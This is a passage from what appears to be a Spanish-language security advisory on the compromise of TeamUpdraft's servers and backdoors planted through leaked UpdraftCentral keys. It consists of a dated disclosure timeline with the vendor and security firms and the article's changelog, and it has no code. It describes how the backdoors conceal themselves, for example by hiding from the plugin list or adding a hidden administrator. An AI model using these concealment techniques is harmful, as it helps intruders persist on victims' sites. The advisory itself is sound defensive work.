  • 19/10/2026: TeamUpdraft respondió a nuestras preguntas adicionales. El atacante tuvo acceso a teamupdraft.com desde la noche del sábado 17/10; el fabricante detectó actividad sospechosa la noche del domingo 18/10 y confirmó la brecha hacia las 20:00 BST. Cerró la vía de acceso, cerró la sesión de todas las cuentas y empezó a sustituir claves y credenciales. Según el fabricante, los secretos TOTP no pueden guardarse como hash, así que con una filtración de la base de datos hay que contar también con ellos. Como versión de emergencia indicó la 2.26.12, que sin embargo no borra las claves (ver arriba). Aún no sabe si publicará indicadores de compromiso.
  • 19/10/2026: avisamos a TeamUpdraft de que la versión 2.26.12 no borra las claves y de que el límite de las 12:07 UTC del 18/10 en la versión 1.26.13 no coincide con su comunicado, y preguntamos si la 2.26.13 está disponible para los clientes premium.
  • 20/10/2026: informamos a Wordfence y Patchstack de que la versión 2.26.12 no borra las claves, de la casilla «Add this website to UpdraftCentral» marcada por defecto y de otra muestra de la primera variante.
  • 20/10/2026: con el consentimiento de otro administrador, enviamos a Wordfence y Patchstack tres muestras de una misma web, incluida la variante mínima que se oculta de la lista de plugins.
  • 19/10/2026: Wordfence publicó su propio aviso, que cita nuestro análisis, y una regla de cortafuegos también para la versión gratuita. Ni la regla ni el aviso tienen en cuenta todavía que la 1.26.12 / 2.26.12 no borra las claves.
  • 20/10/2026: avisamos a Wordfence de que su regla no cubre la 1.26.12 / 2.26.12, que no borran las claves, y de que el límite de la revocación son las 12:07 UTC. Wordfence y Patchstack recibieron los indicadores de los intentos de hoy de usar las puertas traseras.
  • 20/10/2026: con el consentimiento de otros tres administradores, enviamos a Wordfence y Patchstack doce muestras, incluida una segunda copia de la variante mínima oculta.
  • 20/10/2026: TeamUpdraft añadió a su comunicado que la versión 1.26.13 / 2.26.13, publicada el 19/10 poco después de las 22:00 BST, revocó las claves de UpdraftCentral y que el acceso no autorizado se resolvió. Sin embargo, sus instrucciones siguen recomendando la 1.26.12 / 2.26.12. A nuestra pregunta de qué versión instalar, el fabricante respondió con un enlace a ese comunicado.
  • 21/10/2026: avisamos a TeamUpdraft de que el atacante seguía enviando órdenes de UpdraftCentral la mañana del 21/10, de que sus instrucciones siguen indicando la 1.26.12 / 2.26.12 y de que la versión premium puede guardar la contraseña de la cuenta de teamupdraft.com en la base de datos. El fabricante nos había respondido que pasó nuestro artículo a sus desarrolladores.
  • 21/10/2026: En actualizaciones de su comunicado, TeamUpdraft indicó que el atacante entró en teamupdraft.com con una clave comprometida, que el fabricante ha contratado a una empresa de seguridad externa y ha contactado con la policía, y que WordPress.org distribuyó la versión 1.26.13 automáticamente a todas las webs. Pide a los usuarios de la versión premium que revisen sus webs aunque nunca hayan usado UpdraftCentral. Según el fabricante, la rapidez del ataque y las puertas traseras inicialmente defectuosas sugieren que el atacante usó IA. A nuestro último mensaje, el fabricante respondió que ya había actualizado las instrucciones y que recomienda a todos los clientes cambiar la contraseña de teamupdraft.com. Sin embargo, a 22/10 los pasos de las instrucciones seguían indicando la 1.26.12 / 2.26.12, y no se pronunció sobre el límite de la revocación. El fabricante corrigió ambas cosas a más tardar el 23/10 (véase más abajo).
  • 22/10/2026: con el consentimiento de otro administrador, enviamos a Wordfence y Patchstack la muestra cache-jack-c7a y el registro del intento del atacante de usarla el 20/10.
  • 23/10/2026: TeamUpdraft corrigió su comunicado (última actualización: 23/10, 05:26 BST). Los pasos indican ahora la 1.26.13 / 2.26.13, y el comunicado da como límite de las conexiones revocadas automáticamente las 13:07 BST (14:07 CEST) del 18/10, lo que coincide con el código. El fabricante nos informó de la corrección y nos pidió que actualizáramos este artículo.

Si ha observado un ataque similar, escríbanos a info@nethemba.com. Facilitaremos muestras y más material técnico al fabricante y a equipos de seguridad que lo soliciten.

Actualizaciones

  • 19/10/2026: primera publicación.
  • 19/10/2026: aviso de que el registro de UpdraftCentral solo guarda 50 eventos y revisión del registro de accesos; recomendación de no volver a conectar; pasos para webs totalmente comprometidas; precisión sobre las versiones afectadas por CVE-2026-10795.
  • 19/10/2026: añadido el comunicado del fabricante, que confirma la filtración de claves desde teamupdraft.com; actualizadas las recomendaciones, la corrección y el alcance.
  • 19/10/2026 (tarde): segunda variante con un administrador oculto, más muestras de la primera variante, segunda dirección IP, enlace al análisis de Patchstack, script de comprobación versión 2.
  • 19/10/2026: añadida la respuesta directa del fabricante a nuestro aviso.
  • 19/10/2026: confirmada una variante funcional en circulación, más muestras de ambas variantes, revisión de los disparadores en el registro de accesos, protección mediante una carpeta de plugins sin permiso de escritura, reconocimiento del 23/09, script de comprobación versión 3.
  • 19/10/2026: análisis de una muestra de la variante funcional (la ocultación de la cuenta no funciona), tercera variante mínima, otra muestra de la primera variante, aviso sobre instalaciones repetidas, script de comprobación versión 4.
  • 19/10/2026: el atacante sigue volviendo (cambio de la puerta trasera con plugin.delete_plugin, intentos de órdenes en nuestras webs hasta la noche), selección de webs según la lista de UpdraftCentral, script de comprobación versión 5.
  • 19/10/2026: versión de emergencia del fabricante (la 1.26.12 no borra ninguna clave; la 1.26.13 funciona, pero no para las claves del 18/10 entre las 14:07 y las 23:00 CEST), respuestas del fabricante añadidas.
  • 20/10/2026: una clave de UpdraftCentral puede crearse sin que el propietario lo sepa (casilla marcada por defecto en la versión premium), otra muestra de la primera variante, nota sobre las IP detrás de un proxy, script de comprobación versión 6.
  • 20/10/2026: el script de comprobación versión 7 distingue un registro de UpdraftCentral inexistente.
  • 20/10/2026: versión oculta de la variante mínima, más muestras, varias puertas traseras en una misma web, script de comprobación versión 8.
  • 20/10/2026: otra muestra de la primera variante (nav-hub).
  • 20/10/2026: diez muestras más de tres administradores, puertas traseras funcionales activas antes de la caída de la web, significado de las líneas «Signature verification failed», nombres de autor recurrentes.
  • 20/10/2026: recomendación de borrar también las claves de UpdraftPlus Migrator, script de comprobación versión 9.
  • 20/10/2026: el atacante prueba los disparadores de puertas traseras eliminadas (nuevas IP), corrección: la versión gratuita también tiene la casilla marcada por defecto, significado de los códigos de estado en el registro de accesos, enlace al aviso de Wordfence y su regla de cortafuegos, más nombres.
  • 20/10/2026: precisión sobre cuándo se crea una clave de UpdraftCentral.
  • 21/10/2026: añadido el comunicado del fabricante del 20/10, nuestras webs recibieron la 2.26.13, aviso sobre la contraseña de la cuenta de teamupdraft.com guardada en la base de datos.
  • 21/10/2026: el atacante sigue enviando órdenes de UpdraftCentral después de publicarse la 1.26.13.
  • 21/10/2026: más intentos de usar las puertas traseras (nuevos rangos de IP), posibles comprobaciones relacionadas de la versión de UpdraftPlus.
  • 22/10/2026: nuevos comunicados del fabricante del 21/10 (actualización forzada a través de WordPress.org, empresa externa, policía).
  • 22/10/2026: contraseña de la cuenta de teamupdraft.com guardada en la base de datos y cómo eliminarla, otro rango de IP en los intentos de usar las puertas traseras, script de comprobación versión 10.
  • 22/10/2026: otra muestra de la primera variante (cache-jack-c7a).
  • 23/10/2026: añadido con qué frecuencia la contraseña de la cuenta de teamupdraft.com se queda en la base de datos.
  • 23/10/2026: prueba de un lector y comunicado del fabricante sobre la contraseña guardada en la base de datos.
  • 26/10/2026: comunicado corregido del fabricante del 23/10 (versiones 1.26.13 / 2.26.13 en las instrucciones, límite 14:07 CEST); actualizados las versiones afectadas, la corrección y la comunicación con el fabricante.

more insights